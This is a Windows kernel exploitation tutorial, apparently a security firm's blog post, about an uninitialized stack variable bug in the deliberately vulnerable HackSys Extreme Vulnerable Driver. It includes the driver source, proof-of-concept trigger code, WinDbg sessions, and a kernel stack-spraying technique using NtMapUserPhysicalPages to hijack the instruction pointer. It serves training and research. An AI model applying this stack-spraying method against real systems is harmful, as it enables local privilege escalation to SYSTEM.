Uninitialized Stack Variable – Windows Kernel Exploitation

INTRODUCTION

We are going to discuss about use of Uninitialized Stack Variable vulnerability. This post will brief you about what is an uninitialized variable, what could be the adverse effect of uninitialized variable vulnerability in your code.

We will discuss this by taking example of an Uninitialized Stack Variable vulnerability implemented in HackSys Extreme Vulnerable Driver. We will understand what the problem in the code is, how we can trigger it, and finally, how we can exploit it in Kernel mode to get SYSTEM privilege.

UNINITIALIZED VARIABLE

Wikipedia: In computing, an uninitialized variable is a variable that is declared but is not set to a definite known value before it is used. It will have some value, but not a predictable one. As such, it is a programming error and a common source of bugs in software.

THE VULNERABILITY

Let’s look into the source code of the driver and understand where the vulnerability is.

1typedef struct _UNINITIALIZED_STACK_VARIABLE {
2        ULONG Value;
3        FunctionPointer Callback;
4        ULONG Buffer[58];
5} UNINITIALIZED_STACK_VARIABLE, *PUNINITIALIZED_STACK_VARIABLE;
 1NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
 2    ULONG UserValue = 0;
 3    ULONG MagicValue = 0xBAD0B0B0;
 4    NTSTATUS Status = STATUS_SUCCESS;
 5    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
 6
 7    PAGED_CODE();
 8
 9    __try {
10        // Verify if the buffer resides in user mode
11        ProbeForRead(UserBuffer,
12                     sizeof(UNINITIALIZED_STACK_VARIABLE),
13                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
14
15        // Get the value from user mode
16        UserValue = *(PULONG)UserBuffer;
17
18        // Validate the magic value
19        if (UserValue == MagicValue) {
20            UninitializedStackVariable.Value = UserValue;
21            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
22        }
23
24        // Call the callback function
25        if (UninitializedStackVariable.Callback) {
26            UninitializedStackVariable.Callback();
27        }
28    }
29    __except (EXCEPTION_EXECUTE_HANDLER) {
30        Status = GetExceptionCode();
31    }
32    return Status;
33}

You can see in the code that UninitializedStackVariable is declared but not initialized with a concrete value. But that’s not the issue, the issue arises when the code tries to call a call-backUninitializedStackVariable.Callback(), neglecting the fact that UserValue == MagicValue comparison may fail.

The call graph looks very simple and we can see the call made to an Uninitialized Variable.

alt text

As UninitializedStackVariable is uninitialized and is a local variable, obviously it’s on the Kernel Stack and it will contain the data placed by the functions which were called previously.

Just to be clear, the exploitability of vulnerabilities like Uninitialized Stack Variable completely depend on the implementation and how the uninitialized variable is used throughout the application.

In the UNINITIALIZED_STACK_VARIABLE structure definition, you can see that Callback is defined as FunctionPointer. This is of great value, in terms of exploitation.

If we can control the data on the Kernel stack, we can control UninitializedStackVariable and naturally control Callback.

EXPLOITATION CHALLENGES

  • Find a way to trigger the use of Uninitialized Stack Variable vulnerability in HackSys Extreme Vulnerable Driver
  • Control Kernel Stack layout/data from User Mode
  • Prevent the user controlled data on the Kernel stack from getting clobbered

VULNERABILITY TRIGGER

From the evaluation of the source code, we know that if the UserValue == MagicValue comparison fails, then the use of Unitialized Stack Variable vulnerability is triggered.

 1DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
 2    ULONG BytesReturned;
 3    HANDLE hFile = NULL;
 4    ULONG MagicValue = 0xBAADF00D;
 5    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
 6    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
 7    
 8    __try {
 9        // Get the device handle
10        hFile = GetDeviceHandle(FileName);
11
12        if (hFile == INVALID_HANDLE_VALUE) {
13            exit(EXIT_FAILURE);
14        }
15
16        // trigger the vulnerability
17        DeviceIoControl(hFile,
18                        HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
19                        (LPVOID)&MagicValue,
20                        0,
21                        NULL,
22                        0,
23                        &BytesReturned,
24                        NULL);
25    }
26    __except (EXCEPTION_EXECUTE_HANDLER) {
27        exit(EXIT_FAILURE);
28    }
29    return EXIT_SUCCESS;
30}

As you can see in the driver source code, the vulnerable code is surrounded by __try/__except block, the target Operating System won’t crash. So, we need to enable Stop On Exception flag usingGFlag.

1kd> !gflag +soe
2New NtGlobalFlag contents: 0x00000001
3    soe - Stop On Exception
  1kd> g
  2                                                        
  3            ##     ## ######## ##     ## ########       
  4            ##     ## ##       ##     ## ##     ##      
  5            ##     ## ##       ##     ## ##     ##      
  6            ######### ######   ##     ## ##     ##      
  7            ##     ## ##        ##   ##  ##     ##      
  8            ##     ## ##         ## ##   ##     ##      
  9            ##     ## ########    ###    ########       
 10                                                        
 11          HackSys Extreme Vulnerable Driver Exploits    
 12                 Ashfaq Ansari (@HackSysTeam)           
 13                   ashfaq[at]payatu[dot]com             
 14                                                        
 15[+] Starting Uninitialized Stack Variable Exploitation
 16    [+] Creating The Exploit Thread
 17        [+] Exploit Thread Handle: 0x50
 18****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
 19[+] UserValue: 0xBAADF00D
 20[+] UninitializedStackVariable Address: 0x8A6CC9C8
 21[+] UninitializedStackVariable.Value: 0x85A1E940
 22[+] UninitializedStackVariable.Callback: 0x00000400
 23[+] Triggering Uninitialized Stack Variable Vulnerability
 24Access violation - code c0000005 (first chance)
 25First chance exceptions are reported before any exception handling.
 26This exception may be expected and handled.
 2700000400 ??              ???
 28
 29kd> !analyze -v
 30*******************************************************************************
 31*                                                                             *
 32*                        Bugcheck Analysis                                    *
 33*                                                                             *
 34*******************************************************************************
 35
 36Unknown bugcheck code (0)
 37Unknown bugcheck description
 38Arguments:
 39Arg1: 00000000
 40Arg2: 00000000
 41Arg3: 00000000
 42Arg4: 00000000
 43
 44Debugging Details:
 45------------------
 46PROCESS_NAME:  HackSysEVDExpl
 47FAULTING_IP: 
 48+12a
 4900000400 ??              ???
 50
 51EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
 52ExceptionAddress: 00000400
 53   ExceptionCode: c0000005 (Access violation)
 54  ExceptionFlags: 00000000
 55NumberParameters: 2
 56   Parameter[0]: 00000000
 57   Parameter[1]: 00000400
 58Attempt to read from address 00000400
 59
 60ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
 61
 62EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
 63
 64EXCEPTION_PARAMETER1:  00000000
 65EXCEPTION_PARAMETER2:  00000400
 66READ_ADDRESS:  00000400 
 67
 68FOLLOWUP_IP: 
 69HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
 7089f80e82 eb21            jmp     HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0xbd (89f80ea5)
 71
 72FAILED_INSTRUCTION_ADDRESS: 
 73+1ad2faf00bcdfc0
 7400000400 ??              ???
 75
 76BUGCHECK_STR:  ACCESS_VIOLATION
 77DEFAULT_BUCKET_ID:  INTEL_CPU_MICROCODE_ZERO
 78CURRENT_IRQL:  0
 79LAST_CONTROL_TRANSFER:  from 89f80e82 to 00000400
 80
 81STACK_TEXT:  
 82WARNING: Frame IP not in any known module. Following frames may be wrong.
 838a6cc9b0 89f80e82 039a4375 8427c830 8427c8a0 0x400
 848a6ccad4 89f80ed6 016cfb7c 8a6ccafc 89f810d2 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
 858a6ccae0 89f810d2 8427c830 8427c8a0 859f31f0 HackSysExtremeVulnerableDriver!UninitializedStackVariableIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 151]
 868a6ccafc 82866047 843a4030 8427c830 8427c830 HackSysExtremeVulnerableDriver!IrpDeviceIoCtlHandler+0x156 [c:\hacksysextremevulnerabledriver\driver\source\hacksysextremevulnerabledriver.c @ 283]
 878a6ccb14 82a3c9d5 859f31f0 8427c830 8427c8a0 nt!IofCallDriver+0x63
 888a6ccb34 82a3edc8 843a4030 859f31f0 00000000 nt!IopSynchronousServiceTail+0x1f8
 898a6ccbd0 82a45d9d 843a4030 8427c830 00000000 nt!IopXxxControlFile+0x6aa
 908a6ccc04 8286c87a 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
 918a6ccc04 771770b4 00000054 00000000 00000000 nt!KiFastCallEntry+0x12a
 92016cfb14 7635a671 00000054 0022202f 016cfb7c 0x771770b4
 93016cfb40 00042faf 00000054 0022202f 016cfb7c 0x7635a671
 94016cfb98 76363c45 00000000 016cfbe4 771937f5 0x42faf
 95016cfba4 771937f5 00000000 7643ae30 00000000 0x76363c45
 96016cfbe4 771937c8 00042f40 00000000 00000000 0x771937f5
 97016cfbfc 00000000 00042f40 00000000 00000000 0x771937c8
 98
 99STACK_COMMAND:  kb
100
101FAULTING_SOURCE_CODE:  
102   118:         // Call the callback function
103   119:         if (UninitializedStackVariable.Callback) {
104   120:             UninitializedStackVariable.Callback();
105   121:         }
106>  122:     }
107   123:     __except (EXCEPTION_EXECUTE_HANDLER) {
108   124:         Status = GetExceptionCode();
109   125:         DbgPrint("[-] Exception Code: 0x%X\n", Status);
110   126:     }
111   127: 
112
113SYMBOL_STACK_INDEX:  1
114SYMBOL_NAME:  HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
115FOLLOWUP_NAME:  MachineOwner
116MODULE_NAME: HackSysExtremeVulnerableDriver
117IMAGE_NAME:  HackSysExtremeVulnerableDriver.sys
118DEBUG_FLR_IMAGE_TIMESTAMP:  575abbc8
119FAILURE_BUCKET_ID:  ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
120BUCKET_ID:  ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
121
122Followup: MachineOwner
123---------

As you can see from WinDbg output, UninitializedStackVariable.Callback: 0x00000400 which does not seems to be a valid Callback routine address. This is a clear indication that we successfully triggered the use of Uninitialized Stack Variable vulnerability.

Just to have some more context about the bug, let’s dump the stack and validate if UninitializedStackVariable is on the stack.

 1kd> dps esp
 28a6cc9b4  89f80e82 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
 38a6cc9b8  039a4375
 48a6cc9bc  8427c830
 58a6cc9c0  8427c8a0
 68a6cc9c4  89f81b28 HackSysExtremeVulnerableDriver! ?? ::NNGAKEGL::`string'
 78a6cc9c8  85a1e940  <---- UninitializedStackVariable.Value
 88a6cc9cc  00000400  <---- UninitializedStackVariable.Callback
 98a6cc9d0  00000000
108a6cc9d4  000e8244
118a6cc9d8  000e833c
128a6cc9dc  000e8244
138a6cc9e0  8a6cca04

If we can control what’s placed at 0x8a6cc9cc, we can control the Instruction Pointer.

EXPLOITATION STRATEGY

  • Find the offset of UninitializedStackVariable.Callback from the Kernel Stack Init
  • Somehow spray the Kernel Stack with user/attacker controlled data from User Mode
  • Prevent the offset of UninitializedStackVariable.Callback from getting clobbered

EXPLOITATION

We will perform exploitation in multiple stages.

FINDING OFFSET

Kernel Stack Init can be found using !thread command. Trigger the bug again and run the command in WinDbg.

 1kd> !thread
 2THREAD 8466d768  Cid 055c.00bc  Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0
 3IRP List:
 4    8427c830: (0006,0094) Flags: 00060000  Mdl: 00000000
 5Not impersonating
 6DeviceMap                 941095d0
 7Owning Process            8466d3d8       Image:         HackSysEVDExploit.exe
 8Attached Process          N/A            Image:         N/A
 9Wait Start TickCount      100092         Ticks: 0
10Context Switch Count      6             
11UserTime                  00:00:00.000
12KernelTime                00:00:00.060
13Win32 Start Address 0x01242f40
14Stack Init 9a4bfed0 Current 9a4bef54 Base 9a4c0000 Limit 9a4bd000 Call 0
15Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

So, Kernel Stack Init = 0x9a4bfed0 and &UninitializedStackVariable.Callback = 0x9a4bf9cc.

1kd> ?9a4bfed0-9a4bf9cc  
2Evaluate expression: 1284 = 00000504

Hence, Offset = 0x504. You can confirm if the offset remains same by comparing the offset between multiple runs.

Now, if we can put attacker controlled data at an offset of 0x504 from Stack Init, we can hijack the Instruction Pointer.

KERNEL STACK SPRAYING

Now the challenge is to spray the Kernel Stack with attacker controlled data from User Mode.

How can we put user controlled data on Kernel Stack from User Mode?

Well, to achieve this, we need to find an interface which takes data from User Mode and copies it to Kernel Mode Stack and does not clobber it much.

HackSys Extreme Vulnerable Driver already has two such interfaces, named TriggerStackOverflow and TriggerStackOverflowGS.

However, you can find similar interfaces in Windows Operating System too.

One such interface was disclosed by j00ru. His post on nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques gives you a clear idea on how we can utilizent !NtMapUserPhysicalPages to spray Kernel Stack from User Mode.

We can spray upto 1024*sizeof(ULONG_PTR) using this API and this is exactly what we need to exploit this vulnerability.

Let’s update the Proof of Concept to spray the Kernel Stack with 0x41414141 and see if we control the right offset.

 1DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
 2    PULONG StackSprayBuffer = NULL;
 3    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
 4    SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);
 5
 6    __try {
 7        StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
 8                                             HEAP_ZERO_MEMORY,
 9                                             StackSprayBufferSize);
10
11        if (!StackSprayBuffer) {
12            exit(EXIT_FAILURE);
13        }
14
15        RtlFillMemory(StackSprayBuffer, StackSprayBufferSize, 0x41);
16
17        ResolveKernelAPIs();
18
19        NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);
20
21        HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);
22        StackSprayBuffer = NULL;
23    }
24    __except (EXCEPTION_EXECUTE_HANDLER) {
25        exit(EXIT_FAILURE);
26    }
27
28    return EXIT_SUCCESS;
29}

Let put a break point on the last instruction of NtMapUserPhysicalPages routine and run the PoC.

1kd> u !nt+002c6d56 L1
2nt!NtMapUserPhysicalPages+0x4e2:
382afdd56 c20c00          ret     0Ch
4kd> bp !nt+002c6d56

Once the breakpoint is hit, we will get Kernel Stack Init address and find that value at an offset of 0x504.

 1Breakpoint 0 hit
 2nt!NtMapUserPhysicalPages+0x4e2:
 382afdd56 c20c00          ret     0Ch
 4kd> !thread
 5THREAD 8439fd48  Cid 03e0.072c  Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0
 6Not impersonating
 7DeviceMap                 941095d0
 8Owning Process            84419d40       Image:         HackSysEVDExploit.exe
 9Attached Process          N/A            Image:         N/A
10Wait Start TickCount      226817         Ticks: 0
11Context Switch Count      52             
12UserTime                  00:00:00.000
13KernelTime                00:00:00.090
14Win32 Start Address 0x013532c0
15Stack Init 80eeded0 Current 80eed9d0 Base 80eee000 Limit 80eeb000 Call 0
16Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

Now, let’s get the address of the offset we are interested in.

1kd> ?80eeded0-0x504
2Evaluate expression: -2131830324 = 80eed9cc

Finally, let’s dump the address to see what it holds.

1kd> dd 80eed9cc L1
280eed9cc  41414141

Wow! This is so much fun. We now control the value i.e. 0x41414141 at the offset 0x504.

DON’T CLOBBER ME

At this point, we control the data on the Kernel Stack from User Mode. It is essential to prevent it from getting clobbered by other function calls.

To achieve this, we need to prevent any other functions from using the Kernel Stack. Just make sure that you do not perform or call any other function after spraying the Kernel Stack and triggering the vulnerability.

Even simple printf statement may clobber the Kernel Stack and exploitation will fail.

FINAL EXPLOIT

During Black Hat Asia 2016 – Arsenal, I had kept a challenge to write the exploit for this particular vulnerability (Uninitialized Stack Variable).

HackSys Extreme Vulnerable Driver Challenge: Write exploit for Uninitialized Variable bug https://t.co/WCuanrBDih pic.twitter.com/C9IzZXLqdQ — HackSys Team (@HackSysTeam) March 29, 2016

After two months, I decided to push the exploit to HackSys Extreme Vulnerable Driver repository on Github as I did not receive any submission.

CLOSING THOUGHTS

I hope you all liked the post and if you all have any suggestions or feedback, please feel free to reach out to me. I’ll be happy to implement them.

This week is full of Black Hat and DefCon fever and on this occasion, I’m hosting another challenge to write the exploit for use of Uninitialized Heap Variable. Please feel free to reach out to me in case you need any help to write the exploit.

HackSys Extreme Vulnerable Driver Challenge: Exploit Uninitialized Heap Variable bug.https://t.co/nWSoVQefMO pic.twitter.com/wW4Jf7mq3Z — HackSys Team (@HackSysTeam) August 4, 2016

REFERENCES

Subscribe to our Newsletter
Subscription Form
DOWNLOAD THE DATASHEET

Fill in your details and get your copy of the datasheet in few seconds

CTI Report
DOWNLOAD THE EBOOK

Fill in your details and get your copy of the ebook in your inbox

Ebook Download
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download ICS Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Cloud Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Code Review Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Red Team Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download DevSecOps Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Product Security Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Mobile Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Web App Sample Report

Let’s make cyberspace secure together!

Requirements

Connect Now Form

What our clients are saying!

Trusted by